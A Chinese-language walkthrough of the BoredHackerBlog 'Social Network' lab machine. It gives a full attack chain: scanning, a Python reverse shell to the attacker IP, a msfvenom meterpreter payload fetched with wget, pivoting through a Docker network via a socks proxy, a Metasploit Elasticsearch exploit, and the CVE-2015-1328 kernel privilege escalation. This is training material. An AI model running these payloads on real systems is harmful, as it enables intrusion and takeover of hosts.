BoredHackerBlog-Social Network靶场

BoredHackerBlog-Social Network

靶机:192.168.232.133

主机发现

netdiscover

1
netdiscover  -r 192.168.43.1/24

可以扫描一下存在哪些主机

image-20221005153107615

端口扫描

nmap扫描端口

1
nmap -A 192.168.232.0/24

image-20221005150720469

发现存在5000端口,Werkzeug是python开发的框架

目录扫描

可以用御剑直接扫描

也可以用kali的dirsearch命令

dirsearch扫目录

1
dirsearch -u 192.168.232.133:5000

image-20221005155639818

直接扫到了admin

image-20221005155746019

反弹shell

前面nmap探测到是基于python开发的框架

寻找python反弹shell的payload

一个反弹shell命令的站:

https://forum.ywhack.com/shell.php

生成shell

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.232.132",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

kali设置监听

1
nc -lvvp 6666        #监听本机的6666端口

上传payload

1
2
3
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.232.132",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

#ip是攻击机kali的ip

反弹成功

image-20221005161623990

docker容器

反弹shell后,发现在/app目录下

还发现了dockerfile

怀疑是在docker容器里面

判断是否在docker环境下

三种确定方法
方法1:如果根目录下存在dockerenv,那么有极大的概率,我们是在docker环境中
方法2:查看ip,如果ip与网站ip不同,那么有极大的概率,我们是在docker环境中
方法3:如果/proc/1/cgroup文件里面可以看到docker,以及docker的hash值。那么我们一定在docker环境中。

image-20221005163937983

确定我们是处于docker容器下

shell脚本

使用msf生成shell

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.232.132 LPORT=1111 -f elf > shell.elf

开启http服务

1
python3 -m http.server 8000

从kali主机下载生成的shell

1
wget 192.168.232.132:8000/shell.elf

msf设置监听

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.232.132
set lport 1111
exploit

执行shell

1
2
chmod +x shell.elf           #给他执行的权力
./shell #执行

反弹成功

image-20221005170641155

内网穿透

获取网络接口

1
run get_local_subnets

image-20221005172016935

添加路由

1
run autoroute -s 172.17.0.0/24

image-20221005172337464

探测内网主机

1
run auxiliary/scanner/portscan/tcp rhosts=172.17.0.0/24

image-20221005174803761

设置代理

1
2
3
4
5
background    #退出会话
use auxiliary/server/socks_proxy
set srvhost 192.168.232.132
set srvport 2222 #2222接口对外开放
exploit

配置proxychains文件

找到proxychains.conf文件,linux是/etc/proxychain4.conf

把ip改为kali的ip 端口改为刚刚的2222端口

image-20221003173328944

nmap扫描

image-20221005180118892

image-20221005180131485

9200端口对应的是elasticsearch服务

查询elasticsearch服务的版本

1
proxychains4 curl http://172.17.0.2:9200

莫名其妙跑不出来

直接访问查看吧

image-20221005181031876

漏洞利用

直接利用msf进行漏洞利用

1
2
3
4
5
search  elasticsearch
use exploit/multi/elasticsearch/search_groovy_script
set rhosts 172.17.0.2
set rport 9200
run

image-20221005182328864

ls 发现passwords文件

image-20221005182443027

解码之后

image-20221005182508436

ssh尝试登陆,只有john能登陆

权限提升

查看内核版本

image-20221005184523125

内核版本比较低,可以尝试内核提权

查找漏洞库

1
searchsploit linux 3.13

image-20221006160842554

查看exp代码发现代码末尾会调用gcc来编译ofs-lib.c文件,因为靶机上没有gcc环境,所以不能在靶机上直接运行。
我们可以把ofs-lib.so文件和exp文件一同上传到靶机,改成只是调用文件,编译代码操作我们在kali本地完成,这时代码里的编译文件的代码也就不需要了,删除方框内编译代码即可

下载一份payload到本地攻击机

1
cp /usr/share/exploitdb/exploits/linux/local/37292.c .

注释掉一部分代码

image-20221006161852478

在本地编译一下

1
gcc -o exp 37292.c

查找ofs-lib.so文件,并复制到和exp相同的文件下

1
2
find /usr -name ofs-lib.so
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so ./

kali开启一个服务

1
python3 -m http.server 8000

然后在靶机上面下载刚刚生成的两个文件

1
2
wget 192.168.232.132:8000/exp
wget 192.168.232.132:8000/ofs-lib.so

image-20221006163608422

执行exp即可

1
2
3
chmod +x exp
chmod +x ofs-lib.so
./exp

发现失败

image-20221006163655486

需要将两个文件移动到tmp文件夹下才行

1
cp exp ofs-lib.so /tmp

执行发现成功

查看评论